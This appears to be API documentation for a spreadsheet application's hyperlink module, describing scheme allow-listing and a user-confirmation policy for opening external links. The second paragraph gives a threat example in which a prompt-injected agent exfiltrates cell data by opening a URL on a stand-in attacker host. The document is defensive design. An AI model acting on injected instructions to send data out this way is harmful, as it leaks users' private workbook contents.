Module links 

Which hyperlink targets may be opened. A cell’s link comes from the document (often a file somebody sent), so it is hostile input: only http, https and mailto ever leave the workbook for the system; file:, smb:, UNC paths, custom URL handlers, javascript: and the like are refused. Everything without a scheme stays an in-workbook reference.

Opening an allowed address also needs the user’s say-so (#2181): link.open is reachable by the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open https://attacker/?d=<cell data>. Under the default LinkPolicy::Confirm the command refuses external addresses; only the host, after showing the address and getting OK from the user, opens one through crate::engine::Session::open_confirmed_link, which no command reaches.

Enums

LinkKind

What a link target is.

LinkPolicy

Whether link.open may hand an external (http/https/mailto) address to the host without asking. Set by the host in code, never by a command, so a programmatic caller can’t widen it.

Constants

NEEDS_CONFIRMATION

The error a programmatic link.open of a web or e-mail address returns.

Functions

classify

Classifies a link target. Never panics; the single place that decides what may be opened.